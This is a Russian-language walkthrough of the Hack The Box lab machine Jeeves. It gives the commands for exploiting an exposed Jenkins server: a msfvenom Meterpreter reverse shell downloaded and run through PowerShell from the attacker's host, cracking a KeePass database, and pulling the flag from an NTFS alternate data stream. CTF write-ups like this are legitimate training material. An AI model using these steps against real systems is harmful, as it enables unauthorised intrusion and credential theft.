Обзор сервисов
Начнем со стандартного сканирования машины 10.10.10.63
с помощью nmap
:
$ nmap --privileged -sV -sC -sS -p- -oN nmap 10.10.10.63
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 5h04m08s, deviation: 0s, median: 5h04m08s
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-09T12:54:28
|_ start_date: 2021-06-09T12:51:19
Сразу же попробуем поискать каталоги на веб-сервере и находим /askjeeves
:
$ feroxbuster -u http://10.10.10.63:50000/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
http://10.10.10.63:50000/askjeeves
Jenkins
Создадим новый элемент (New Item), выберем Freestyle Project, впишем свою команду в Execute Windows batch command
.
Сгенерируем реверс-шелл и запустим HTTP-сервер:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4244 -f exe > s.exe
python3 -m http.server 4242
В джобе дженкинса пропишем скачивание и запуск шелла.
powershell -c wget http://10.10.14.5:4242/s.exe -outfile "s.exe"
s.exe
После жмем Build Now
.
Пользовательский флаг
Повышение привилегий
В каталоге C:\users\kohsuke\documents
обнаружился CEH.kdbx
- Keepass-база с паролями.
Скачиваем базу на локальную машину, получаем ее хеш и пробуем брутфорсить.
$ keepass2john jeeves.kdbx > hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
moonshine1
Открываем базу и идем в запись Backup Stuff
.
Теперь проведем атаку Pass-The-Hash:
Флаг суперпользователя
В обычном месте флаг не нашелся.
$ cd C:\users\administrator\desktop; dir; cat hm.txt:
The flag is elsewhere. Look deeper.
Все дело в том, что используются альтернативные потоки NTFS.
C:\Users\Administrator\Desktop>dir /r; powershell Get-Content -Path hm.txt -Stream root.txt
...
Directory of C:\Users\Administrator\Desktop
12/24/2017 03:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
...
C:\Users\Administrator\Desktop>more < hm.txt:root.txt:$DATA
more < hm.txt:root.txt:$DATA
afbc5bd4b615a60648cec41c6ac92530
C:\Users\Administrator\Desktop>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.10.10.63
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2
Tunnel adapter isatap.{4079B648-26D5-4A56-9108-2A55EC5CE6CA}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :